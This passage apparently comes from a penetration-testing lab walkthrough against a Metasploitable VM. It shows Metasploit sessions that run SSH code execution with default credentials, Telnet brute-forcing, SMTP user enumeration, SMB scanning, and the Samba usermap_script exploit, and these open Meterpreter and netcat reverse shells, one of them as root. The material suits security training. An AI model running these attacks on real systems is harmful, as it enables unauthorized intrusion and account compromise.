[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/ssh/ssh_login) >
```

SSH (user code execution)

```

└─(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > search sshexec

Matching Modules
=====
File System

#  Name                      Disclosure Date  Rank   Check  Description
-  exploit/multi/ssh/sshexec  1999-01-01      manual  No    SSH User Code Execution

Home
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/ssh/sshexec

msf6 > use 0
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/ssh/sshexec) > 

msf6 exploit(multi/ssh/sshexec) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf6 exploit(multi/ssh/sshexec) > set USERNAME msfadmin
USERNAME => msfadmin
msf6 exploit(multi/ssh/sshexec) > set PASSWORD msfadmin
PASSWORD => msfadmin
msf6 exploit(multi/ssh/sshexec) > exploit

[*] Started reverse TCP handler on 192.168.50.128:4444
[*] 192.168.50.131:22 - Sending stager ...
[*] Command Stager progress - 42.75% done (342/800 bytes)
[*] Sending stage (1017704 bytes) to 192.168.50.131
[*] Meterpreter session 2 opened (192.168.50.128:4444 → 192.168.50.131:39904) at 2023-06-21 09:11:19 +0530
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)

meterpreter > 
[*] 192.168.50.131:22 - Sending stager ...
[*] Command Stager progress - 42.75% done (342/800 bytes)
[*] Sending stage (1017704 bytes) to 192.168.50.131
[*] Meterpreter session 2 opened (192.168.50.128:4444 → 192.168.50.131:39904) at 2023-06-21 09:11:19 +0530
[!] Timed out while waiting for command to return
[*] Command Stager progress - 100.00% done (800/800 bytes)

meterpreter > sysinfo
Computer : metasploitable.localdomain
OS       : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple : i486-linux-musl
Meterpreter : x86/linux
meterpreter > 

```

TELNET (brute force)

```

└─(kali㉿kali)-[~]
└─$ msfconsole -q
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf6 auxiliary(scanner/telnet/telnet_login) > set USER_FILE /home/kali/usernames.txt
USER_FILE => /home/kali/usernames.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set PASS_FILE /home/kali/passwords.txt
PASS_FILE => /home/kali/passwords.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set STOP_ON_SUCCESS true
STOP_ON_SUCCESS => true
msf6 auxiliary(scanner/telnet/telnet_login) > exploit

[-] 192.168.50.131:23  - 192.168.50.131:23 - LOGIN FAILED: root:root (Incorrect: )
[-] 192.168.50.131:23  - 192.168.50.131:23 - LOGIN FAILED: root:admin (Incorrect: )
[-] 192.168.50.131:23  - 192.168.50.131:23 - LOGIN FAILED: root:msfadmin (Incorrect: )
[-] 192.168.50.131:23  - 192.168.50.131:23 - LOGIN FAILED: root:test (Incorrect: )
[-] 192.168.50.131:23  - 192.168.50.131:23 - LOGIN FAILED: root:guest (Incorrect: )

```

```
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:test (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:guest (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:adm (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:mysql (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:user (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:administrator (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: admin:oracle (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: msfadmin:root (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - LOGIN FAILED: msfadmin:admin (Incorrect: )
[+] 192.168.50.131:23 - 192.168.50.131:23 - Login Successful: msfadmin:msfadmin
[*] Command shell session 1 opened (192.168.50.128:36235 → 192.168.50.131:23) at 2023-06-21 09:18:54 +0530
[*] 192.168.50.131:23 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

```
└──(kali㉿kali)-[~]
$ telnet 192.168.50.131 23
Trying 192.168.50.131 ...
Connected to 192.168.50.131.
Escape character is '^]'.

Warning: Never expose this VM to an untrusted network!
Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started

metasploitable login: msfadmin
Password:
Last login: Tue Jun 20 23:48:52 EDT 2023 from 192.168.50.128 on pts/1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

msfadmin@metasploitable:~$ uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
msfadmin@metasploitable:~$ whoami
msfadmin
msfadmin@metasploitable:~$
```

SMTP (user enumeration)

```
(kali㉿kali)-[~]
$ msfconsole -q
msf6 > use auxiliary/scanner/smtp/smtp_enum
msf6 auxiliary(scanner/smtp/smtp_enum) >
msf6 auxiliary(scanner/smtp/smtp_enum) > options

Module options (auxiliary/scanner/smtp/smtp_enum):
Name      Current Setting      Required  Description
---      ---      ---      ---
RHOSTS          192.168.50.131      yes      The target host(s), see https://docs.metasploit.com/metasploit-framework/guides/exploitation/scanning/scanning-with-smtp.html
RPORT           25                  yes      The target port (TCP)
THREADS         1                  yes      The number of concurrent threads (max one per host)
UNIXONLY        true                yes      Skip Microsoft bannerized servers when testing
USER_FILE       /usr/share/metasploit-framework/data/wordlist      yes      The file that contains a list of probable user names

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/smtp/smtp_enum) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf6 auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 192.168.50.131:25      - 192.168.50.131:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

msf6 auxiliary(scanner/smtp/smtp_enum) > exploit

[*] 192.168.50.131:25      - 192.168.50.131:25 Banner: 220 metasploitable.localdomain ESMTP Postfix (Ubuntu)

[+] 192.168.50.131:25      - 192.168.50.131:25 Users found: , backup, bin, daemon, distccd, ftp, games, gnats, irc, libuuuid, list, lp, mail, man, mysql, news, nobody, postfix, postgres, postmaster, proxy, service, sshd, sync, sys, syslog, user, uucp, www-data
[*] 192.168.50.131:25      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

SMB

```
(kali㉿kali)-[~]
$ msfconsole -q
msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(scanner/smb/smb_version) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf6 auxiliary(scanner/smb/smb_version) > exploit

[*] 192.168.50.131:445      - SMB Detected (versions:1) (preferred dialect:) (signatures:optional)
[*] 192.168.50.131:445      - Host could not be identified: Unix (Samba 3.0.20-Debian)
[*] 192.168.50.131:        - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) > █

(kali㉿kali)-[~]
$ searchsploit Samba 3.0.20
Exploit Title | Path
-----|-----
Samba 3.0.10 < 3.3.5 - Format String / Security Bypass | multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' Command Execution (Metasploit) | unix/remote/16320.rb
Samba < 3.0.20 - Remote Heap Overflow | linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | linux_x86/dos/36741.py

Shellcodes: No Results
Papers: No Results
```

```

└──(kali㉿kali)-[~]
$ msfconsole -q
msf6 > search samba

Matching Modules
=====
#  Name
-  exploit/unix/webapp/citrix_access_gateway_exec
  1  exploit/windows/license/calicclnt_getconfig
  2  exploit/unix/misc/distcc_exec
  3  exploit/windows/smb/group_policy_startup
  4  post/linux/gather/enum_configs
  5  auxiliary/scanner/rsync/modules_list
  6  exploit/windows/fileformat/ms14_060_sandworm
  7  exploit/unix/http/quest_kace_systems_management_rce
  8  exploit/multi/samba/usermap_script
  9  exploit/multi/samba/nttrans
 10  exploit/linux/samba/setinfopolICY_heap
 11  auxiliary/admin/smb/samba_symlink_traversal
 12  auxiliary/scanner/smb/smb_uninit_cred
 13  exploit/linux/samba/chain_reply
 14  exploit/linux/samba/is_known_pipename
 15  auxiliary/dos/samba/lsa_addprivs_heap
 16  auxiliary/dos/samba/lsa_transnames_heap
 17  exploit/linux/samba/lsa_transnames_heap
 18  exploit/osx/samba/lsa_transnames_heap

msf6 > use 8
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf6 exploit(multi/samba/usermap_script) > set RHOSTS 192.168.50.131
RHOSTS => 192.168.50.131
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP handler on 192.168.50.128:4444
[*] Command shell session 1 opened (192.168.50.128:4444 → 192.168.50.131:51105) at 2023-06-21 09:41:15 +0530

/bin/bash -i
bash: no job control in this shell
root@metasploitable:/# whoami
root
root@metasploitable:/# uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
root@metasploitable:/# █

```